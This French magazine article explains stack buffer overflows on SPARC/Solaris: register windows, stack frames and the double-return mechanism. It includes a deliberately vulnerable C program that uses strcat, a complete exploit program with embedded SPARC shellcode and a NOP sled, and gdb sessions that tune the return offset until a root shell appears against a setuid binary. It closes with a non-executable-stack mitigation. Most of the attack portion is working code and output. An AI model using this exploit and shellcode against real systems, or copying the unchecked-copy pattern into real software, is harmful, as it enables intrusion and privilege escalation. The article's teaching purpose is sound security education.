Les débordements de buffer (Architecture SPARC)


Cet article a pour objectif de présenter le fonctionnement des débordements de buffer dans la pile sur une architecture SPARC. La technique est identique à celle utilisée sur les processeurs INTEL bien que les registres et les accès mémoire soient différents.

La première partie détaille le fonctionnement des accès mémoire et des registres pour les processeurs SPARC. La seconde partie illustre l'exploitation d'un débordement de buffer.

L'architecture SPARC

Les accès mémoire

Pour commencer, quelques petites choses à savoir sur les accès mémoire sous SPARC. Premièrement, seules les instructions de lecture/écriture agissent sur la mémoire. Deuxièmement, l'accès à la mémoire est indirect, c'est-à-dire qu'il faut passer par des pointeurs dont les adresses sont stockées dans des registres. Enfin, les instructions comme les registres ont une longueur de 1 mot soit 4 octets.

Ajoutons enfin une petite précision sur l'alignement. Contrairement à INTEL, les opérations de lecture/écriture ne peuvent être effectuées que sur des mots entiers (i.e. des multiples de 4 octets). Toute tentative pour écrire à l'intérieur d'un mot provoque alors un "Bus error". Le programme suivant illustre ceci :
---- exemple.c ----

main() {
  int i;
  char *a = (char *) malloc(16);
  for (i = 0; i < 4; i++) {
    *((int *) a) = i;
    a++;
  }
}
---- exemple.c ----

Le résultat obtenu sur une architecture SPARC est le suivant :

pb@devil:[~/korty] $ uname -a
SunOS devil.dev.grolier.fr 5.8 Generic_108528-06 sun4u sparc
SUNW,UltraSPARC-IIi-cEngine
pb@devil:[~/korty] $ gcc -o exemple exemple.c
pb@devil:[~/korty] $ ./exemple
Bus Error (core dumped)
Par comparaison, regardons ce qui se passe avec le même test sur une architecture INTEL :
tshaw:~$ uname -a
Linux tshaw 2.2.19 #2 SMP Wed Jul 18 20:30:32 CEST 2001 i686 unknown
tshaw:~$ gcc -o exemple exemple.c
tshaw:~$ ./exemple
Dans le premier cas, sous architecture SPARC, on tente d'accéder en plein milieu d'une adresse mémoire ce qui provoque un "Bus error". Dans le deuxième cas, sous architecture INTEL, cette erreur ne se produit pas. En effet, sous architecture INTEL, le processeur autorise un accès sur une adresse non alignée.

Les registres

L'architecture SPARC repose sur 32 registres de 32 bits. Ils sont utilisés pour stocker des adresses, des entiers et tout type de données occupant 32 bits. Dans une fonction, il existe 8 registres globaux et 24 autres placés dans une fenêtre de registres. Une fenêtre est constituée de 3 groupes de 8 registres : les registres de sortie (out registers), les registres d'entrée (in registers) et les registres locaux (local registers) : Il peut y avoir entre 2 et 32 fenêtres augmentant ainsi le nombre de registres mais, à un instant donné, une seule fenêtre est visible. La fenêtre courante est adressée par le pointeur CWP (Current Window Pointer)

Allocation de la trame de pile

Le pointeur de la pile est sauvegardé dans le registre %o6. Ce registre peut aussi être référencé en utilisant l'alias %sp. A cause de la superposition de la fenêtre de registres, le pointeur de pile de la fonction appelante est toujours disponible dans le registre %i6. Dans la terminologie SPARC, le pointeur de pile précédent, appelé pointeur de trame, est accessible par l'alias %fp.

La pile augmente depuis une adresse haute vers une adresse basse. De cette manière, l'allocation de la trame d'une pile consiste à soustraire une valeur au pointeur de pile courant (i.e., on ajoute simplement une valeur négative à la valeur du pointeur de pile).


Fig.1 : La trame de pile

La pile


Fig.2 : organisation de la pile SPARC

Avant d'appeler une fonction, l'instruction save est exécutée : save %sp, -taille_de_trame, %sp. Cette instruction provoque plusieurs opérations :

  1. les valeurs du pointeur de pile %sp (comme %o6) et la taille de la trame (qui peut-être une constante immédiate ou une valeur de registre) sont lues et leur somme est calculée
  2. la fenêtre de registres est avancée, l'ancien pointeur de pile %sp (%o6) devient le nouveau pointeur de trame %fp (%i6).
  3. la somme du point 1 ci-dessus est sauvegardée sur le nouveau pointeur de pile %sp.
Il est important de connaître la taille de la trame dont une fonction a besoin lorsque l'instruction save est exécutée. La trame actuelle est composée de deux parties :
  1. espace de travail actuel : pour une fonction en C, il est divisé en variables automatiquement adressables, espace alloué avec alloca(), et espace pour les variables temporaires. Lors de l'écriture d'une fonction en langage assembleur, il faut calculer l'espace nécessaire pour les variables temporaires et ajouter cela à l'espace pour l'appel de lien. Les variables temporaires sont adressées en utilisant des décalages (offsets) depuis le pointeur de trame %fp.
  2. appel de liens : cet espace est requis pour des paramètres sortants et pour sauver la fenêtre de registres lorsque le contrôle passe à une autre fonction. Il est possible d'appeler explicitement une autre fonction, ou un événement inattendu peut survenir qui provoque ce transfert, comme un "trap" (erreur interne) ou une interruption (condition externe, comme pour un périphérique E/S).
En bref, l'espace requis pour la trame est : taille de l'espace de travail (arrondi jusqu'à 4-octets au cadrage du mot) + max(6, nombre de paramètres sortants) * 4 + un mot pour des paramètres cachés (4 octets) + un espace pour une fenêtre de registres de 16 mots à sauver (64 octets).

La taille de trame minimum est de 96 octets. Cette valeur devrait être de 92 octets (juste les 23 mots d'appel de liens), mais le pointeur de pile requiert un alignement de 8 octets. Donc, %fp et %sp sont toujours divisibles par 8. Ainsi, la pile contient toujours de la place pour au moins une variable temporaire locale.

Espace de travail actuel

L'espace de travail actuel est entre le pointeur de trame (ancien pointeur de pile) et l'espace pour les paramètres sortants. Cela a une structure particulière pour les programmes en C et autres langages compilés, mais le langage assembleur donne plus de liberté.

Si, par exemple, une fonction nécessite plus de valeurs que ne peuvent en contenir ses registres, il est alors possible de mettre ces valeurs en mémoire. La première est adressée [%fp - 4], la deuxième [%fp - 8], et ainsi de suite (les compilateurs mettent la valeur de retour dans [%fp - 4] juste avant le return, pour finalement le copier dans %i0).

Si plus d'espace temporaire est requis, il faut alors soustraire le nombre d'octets nécessaires (arrondi à un multiple de 8) au pointeur de pile. Le nouvel espace n'est pas immédiatement au-dessus de la nouvelle valeur de %sp car l'espace d'appel de liens occupe toujours cette position au-dessus de %sp.

Soustraire du pointeur de pile fait descendre l'espace d'appel de liens, et le nouvel espace temporaire se trouve entre l'ancien espace temporaire et la nouvelle position de l'appel de liens.

Appel de liens

L'espace d'appel de liens doit toujours être disponible au-dessus du pointeur de pile, pas uniquement pour un simple appel mais aussi pour un éventuel "trap" ou une interruption inattendue. Entre le pointeur de pile et tout ce qu'il y a au dessus se trouve l'espace d'appels de liens comprenant :

Principe d'appel des fonctions

Lorsqu'une fonction est appelée, la fonction appelante commence par placer les arguments dans les registres de sortie. La fonction appelante exécute ensuite la fonction secondaire. La fonction appelée accède a ces arguments via les registres d'entrée (input registers) et utilise l'instruction save pour allouer une nouvelle fenêtre de registres et de l'espace pour les variables automatiques. La fonction appelée fait alors son travail puis retourne (ret) et restaure la fenêtre de registres de la fonction appelante (restore).

Smashing The Stack

Le principe de débordement de buffer sous l'architecture SPARC est le suivant :
  1. le registre %i7 de la pile précédente est écrasée ;
  2. la fonction ayant subi un dépassement retourne :
  3. L'appelant de la fonction ayant subit un dépassement retourne. Le programme continue en exécutant l'instruction située à l'adresse contenue dans le registre %i7, à laquelle il faut ajouter 8 octets comme nous l'avons vu ci-dessus. En effet, l'adresse de retour d'une fonction est contenue dans le registre %i7. L'instruction suivante à exécuter se trouve juste après le call (cette instruction tient sur 4 octets). La prochaine instruction à exécuter devrait donc être à %i7 + 4. Or, les processeurs SPARC utilisent le pipelining, permettant de lire deux instructions en même temps. Il faut donc ajouter encore 4 à %i7 pour se retrouver a la prochaine instruction à exécuter, soit %i7 + 8.

Exploitation d'un programme vulnérable sous Solaris Sparc

Nous allons maintenant montrer, avec le programme vulnérable ci-dessous, comment il est possible de faire exécuter un shell en profitant d'un débordement de buffer.

Programme vulnérable

---- smashme.c ----
#include <stdio.h>
#include <string.h>

int smash(char*);

int main(int argc, char** argv)
{
    if (argc < 2) {
    fprintf(stderr, "usage: smashme <string>\n"
        "En attente d'un débordement de buffer avec votre <string>.\n");
    exit(1);
    }
    smash(argv[1]);
    return 0;
}

int smash(char* egg)
{
    char buff[128];
    strcat(buff, egg); /* La vulnerabilite est ici */
    return 0;
}
  ---- smashme.c ----

Démonstration

Nous pouvons voir dans le programme ci-dessus que la fonction strcat() copie argv[1] dans un buf[128]. Aucune vérification n'est effectuée sur la taille de la variable egg lors de l'utilisation de la concaténation dans la fonction smash(). Donc, si argv[1] dépasse les 128 caractères, un segfault (core dump) est provoqué après l'exécution de la fonction strcat() dans smash().

Regardons le comportement du programme :

pb@floyd:[~/korty]-> ./smashme `perl -e 'print "A"x128'` 
pb@floyd:[~/korty]->
Jusque là, pas de problème car argv[1] ne dépasse pas 128 caractères. Le programme s'arrête normalement. Voyons maintenant ce que cela donne lorsque nous dépassons la limite des 128 caractères.
pb@floyd:[~/korty]-> ./smashme `perl -e 'print "A"x200'`
Segmentation Fault (core dumped)
pb@floyd:[~/korty]->
Dans le cas ci-dessus, argv[1] contient 200 caractères. La copie de ces 200 caractères dans un tableau limité à 128 éléments (buff[128]) provoque alors un dépassement du buffer, et le "segfault" qui en découle car les sauvegardes des registres sont remplacés par des valeurs non valides.

Si, le main() contenait un exit() à la place du return 0, alors le programme vulnérable ne serait pas exploitable sous une architecture SPARC. Il le serait toujours sur une architecture X86. En effet, juste après un éventuel débordement dans la fonction strcat(), l'appel à exit() ne contient pas la seconde instruction ret nécessaire à l'exploitation. En fait, la fonction exit() se contente d'appeler les fonctions enregistrées par atexit() puis passe la main à l'appel système _exit() qui ne retourne jamais dans le processus appelant :

(gdb) disas exit
Dump of assembler code for function exit:
0xff31b5b0 <exit>: save %sp, -96, %sp
0xff31b5b4 <exit+4>: mov %o7, %g1
0xff31b5b8 <exit+8>: call 0xff31b5c0 <exit+16>
0xff31b5bc <exit+12>: sethi %hi(0x1c800), %o5
0xff31b5c0 <exit+16>: or %o5, 0x248, %o5 ! 0x1ca48
0xff31b5c4 <exit+20>: add %o5, %o7, %o5
0xff31b5c8 <exit+24>: mov %g1, %o7
0xff31b5cc <exit+28>: ld [ %o5 + 0xe8c ], %g1
0xff31b5d0 <exit+32>: st %fp, [ %g1 ]
0xff31b5d4 <exit+36>: call 0xff33a4b8 <_PROCEDURE_LINKAGE_TABLE_+5304>
0xff31b5d8 <exit+40>: nop
0xff31b5dc <exit+44>: restore
0xff31b5e0 <exit+48>: mov 1, %g1
0xff31b5e4 <exit+52>: ta 8
End of assembler dump.
(gdb)
Les appels systèmes sont réalisés en assembleur SPARC par l'intermédiaire de l'instruction ta 8. L'appel système appelé est celui dont le numéro est stocké dans le registre %g1. Ainsi, dans l'exemple ci-dessus, la valeur 1 est placée dans ce registre. Un examen du contenu du fichier /usr/include/sys/syscall.h nous indique :
#define SYS_exit        1

Analyse du core généré lors du premier segfault

pb@devil:[~/korty] $ gdb --core core
GNU gdb 5.0
This GDB was configured as "sparc-sun-solaris2.8".
Core was generated by `./smashme
  AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation Fault.
#0 0x108f8 in ?? ()
(gdb) info reg
...snip...
o0 0x0 0
o1 0xffbefb80 -4260992
o2 0xffbefb7c -4260996
o3 0x5 5
o4 0x227bc 141244
o5 0xff29b734 -14043340
sp 0xffbefaa8 -4261208
o7 0x108e0 67808
l0 0x41414141 1094795585
l1 0x41414141 1094795585
l2 0x41414141 1094795585
l3 0x41414141 1094795585
l4 0x41414141 1094795585
l5 0x41414141 1094795585
l6 0x41414141 1094795585
l7 0x41414141 1094795585
i0 0x0 0
i1 0x41414141 1094795585
i2 0x41414141 1094795585
i3 0x41414141 1094795585
i4 0x41414141 1094795585
i5 0x41414141 1094795585
fp 0xbefb18 12516120
i7 0x10758 67416
y 0x0 0
psr 0xfe400001 -29360127 cc:-Z--, pil:0, s:0, ps:0, et:0, cwp:1
wim 0x0 0
tbr 0x0 0
pc 0x108f8 67832
npc 0x10760 67424
fpsr 0x0 0 rd:N, tem:0, ns:0, ver:0, ftt:0, qne:0, fcc:=, aexc:0,
cexc:0
cpsr 0x0 0
(gdb)
Nous remarquons que les registres locaux (%l0 - %l7) et les registres d'entrée (%i0 - %i5) ont été remplacés par 0x41414141 (0x41 = A). Il a été vu précédemment que nous devons écraser %i6 (fp - le frame pointer) et %i7 (PC) avec une adresse pointant sur un shellcode.

Or, dans l'exemple ci-dessus, les registres %i6 (%fp) et %i7 n'ont pas été écrasés. Il nous faut donc rajouter 8 octets à notre buffer afin de modifier ces deux registres.

Ainsi, le buffer vulnérable doit contenir les éléments suivants :

En construisant le buffer que nous injectons dans le programme vulnérable, il faut également prendre soin du problème d'alignement, comme nous l'avons déjà évoqué, sans quoi notre exploit conduirait à un "Bus error".

Ensuite, lors du return final, le programme exécute l'instruction se trouvant a l'adresse contenue dans le registre %i7 + 8, c'est-à-dire le shellcode.

Analyse de l'exploit

Pour modifier %i6 et %i7 et les faire pointer dans un shellcode nous utilisons le programme C suivant :

---- expl.c ----

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

unsigned long get_sp(void) { __asm__("mov %sp, %i0"); }

/* Shellcode Solaris Sparc. */

char *shellcode =
        "\x82\x10\x20\xca\x92\x1a\x40\x09\x90\x0a\x40\x09\x91\xd0\x20\x08"
        "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
        "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
        "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08";

int main(int argc, char* argv[])
{
        int i, len, buff_size;
        unsigned long sp, target;
        size_t egg_size;
        char* egg;
        if (argc != 3) {
          fprintf(stderr, "usage: %s <buffer size> <offset>\n", argv[0]);
        exit(1);                                                               
        }
        
        egg_size = atoi(argv[1]) + 1000;
        egg = (char*)malloc(egg_size);
        buff_size = atoi(argv[1]);
        len = strlen(shellcode);
           
        /* On calcule et on ajuste notre adresse de retour */
           
        sp = get_sp();
        target = sp + atoi(argv[2]);
           
        /* Etre sur que nos adresses de Jump soient alignees */
           
        target = (target >> 3) << 3;
        fprintf(stderr, "On ajoute %d octets de NOPs.\n", buff_size - len);
        fprintf(stderr, "Le shellcode est de %d octets.\n", len);
        fprintf(stderr, "%%sp est egal a 0x%x\n", sp);
        fprintf(stderr, "On Jump a l'adresse 0x%x\n", target);
           
        /* On met les Nops */
           
        for (i = 0; i < buff_size - len; i += 4) {
            *(long *)&egg[i] = 0xac15a16e;
        }

        /* On met le shellcode a la fin du buffer */

        memcpy(egg + buff_size - len, shellcode, len);

        /* %i6 = %sp */

        *(unsigned long*)&egg[buff_size] = target;

        /* %i7 = %pc */

        *(unsigned long*)&egg[buff_size + 4] = target;
        fprintf(stderr, "Egg est egal a %d octets.\n", egg_size);

        /* On execute le programme vulnerable avec comme argument notre buffer */

        execl("./smashme", "smashme", (char*)egg, NULL);
        return -1;
}
---- expl.c ----

Utilisation de l'exploit

Cet exploit nécessite deux arguments :
  1. la taille du buffer, évaluée en arrêtant de compter juste avant l'écrasement de %i6 et %i7 ;
  2. le décalage (offset) pour ajuster la valeur de l'adresse de retour.
Nous avons vu que nous avions besoin d'un buffer de 200 octets suivi de 8 octets pour les registres %i6 et %i7. L'offset est arbitrairement mis à 0 afin de déterminer la bonne valeur par la suite.
pb@devil:[~/korty] $ gcc -o expl expl.c
pb@devil:[~/korty] $ ./expl 200 0
Adding 136 bytes of NOPs.
Shellcode is 64 bytes.
%sp is 0xffbefae0
Jumping to 0xffbefae0
Egg is 1200 bytes.
Illegal Instruction (core dumped)
pb@devil:[~/korty] $
Utilisons à nouveau gdb afin d'analyser le fichier core :
pb@devil:[~/korty] $ gdb --core core
GNU gdb 5.0
Core was generated by `smashme
¬t¡n¬t¡n¬t¡n¬t¡n¬t¡n¬t¡n¬t¡n¬t¡n¬t¡n¬t¡n¬t¡n¬t¡n¬t¡n¬t¡n¬t¡n¬t¡n¬t¡n¬t¡'.
Program terminated with signal 4, Illegal Instruction.
#0 0xffbefae8 in ?? ()
(gdb)
gdb nous indique que l'exploit rencontre une instruction illégale à l'adresse 0xffbefae0. Or, Nous avons vu dans la partie appelée "Smash the Stack", que l'appelant de la fonction ayant subit le dépassement retourne et restaure à l'adresse contenue dans le registre %i7 à laquelle il faut ajouter un décalage de 8 octets (soit ret = jmpl %i7+8,%g0).

Notre exploit écrase donc %i6 et %i7 avec l'adresse 0xffbefae0. Lorsque la fonction du programme vulnérable ayant subi le débordement récupère l'adresse contenue en %i7, elle rajoute 8 à l'adresse d'origine ce que nous donne bien 0xffbefae0 + 8 = 0xffbefae8. Il nous faut donc maintenant ajuster l'adresse de retour afin de retomber dans les NOPs pour exécuter par la suite notre shellcode

(gdb) x 0xffbefae8
0xffbefae8: 0x00000000
(gdb)
Nous constatons effectivement que nous avons ni NOP, ni shellcode à cette adresse. Remontons alors un peu plus haut dans la pile :
gdb) x/20x 0xffbefae8 - 100
0xffbefa84: 0xac15a16e 0xac15a16e 0xac15a16e 0xac15a16e
0xffbefa94: 0xac15a16e 0xac15a16e 0xac15a16e 0x821020ca
0xffbefaa4: 0x921a4009 0x900a4009 0x91d02008 0x2d0bd89a
0xffbefab4: 0xac15a16e 0x2f0bdcda 0x900b800e 0x9203a008
0xffbefac4: 0x941a800a 0x9c03a010 0xec3bbff0 0xdc23bff8
(gdb)
En retirant 100 à l'adresse de retour, nous trouvons bien nos NOPs et notre shellcode. Il nous faut donc passer -100 en second argument de notre exploit, ce qui donne :
pb@devil:[~/korty] $ ./expl 200 -100
Adding 136 bytes of NOPs.
Shellcode is 64 bytes.
%sp is 0xffbefae0
Jumping to 0xffbefa78
Egg is 1200 bytes.
$
Bingo! Le shell est exécute par le programme vulnérable. Signalons que le shell obtenu n'appartient pas à root En effet étant donne qu'il est impossible de debugger un programme possédant le bit 's' à moins d'être root, cette démonstration a été réalisée avec un programme utilisateur sans permission spéciale.

Regardons quand même ce que cela donne en ajoutant la permission setuid root à notre programme vulnérable :

root@devil:/home/pb/korty# chown root:other ./smashme
root@devil:/home/pb/korty# chmod u+s ./smashme
root@devil:/home/pb/korty# exit
pb@devil:[~/korty] $ ls -l smashme
-rwsr-x--- 1 root other 6872 Oct 10 10:35 smashme
pb@devil:[~/korty] $ ./expl 200 -100
Adding 136 bytes of NOPs.
Shellcode is 64 bytes.
%sp is 0xffbefae0
Jumping to 0xffbefa78
Egg is 1200 bytes.
# id
uid=0(root) gid=1(other)
#
Nous obtenons bien un shell root :)

Conclusion

Au travers d'un exemple de programme assez simple , nous avons montré comment fonctionnent la pile et les registres pour une architecture SPARC. La technique d'exploitation des débordements de buffer diffère de celle employée sur les x86 par le fait que deux return sont nécessaires.

Afin de limiter le risque, il est possible de rendre la pile non exécutable en ajoutant deux lignes dans le fichier /etc/system :

set noexec_user_stack = 1
set noexec_user_stack_log = 1
Le système est alors protégé de toute exploitation qui repose sur un shellcode placé dans la pile. Cependant, d'autres techniques existent qui permettent de contourner ceci, comme par exemple celle dite du "retour dans la libc".

Attention ! Cette protection n'est disponible que sous les OS Solaris 2.x Sparc, mais ne fonctionne pas avec Solaris 2.x X86.



Christophe Bailleux - cb@t-online.fr
 

Warning: this article is the property of MISC. You are not allowed to copy it unless you firstly ask for the authorization to do so and then specify both the author(s) and MISC.

Attention: cet article est la propriété de MISC. Vous n'êtes pas autorisés à le reproduire à moins de demander au préalable la permission, puis d'indiquer ensuite à la fois l'auteur et MISC en tant que légitime propriétaire.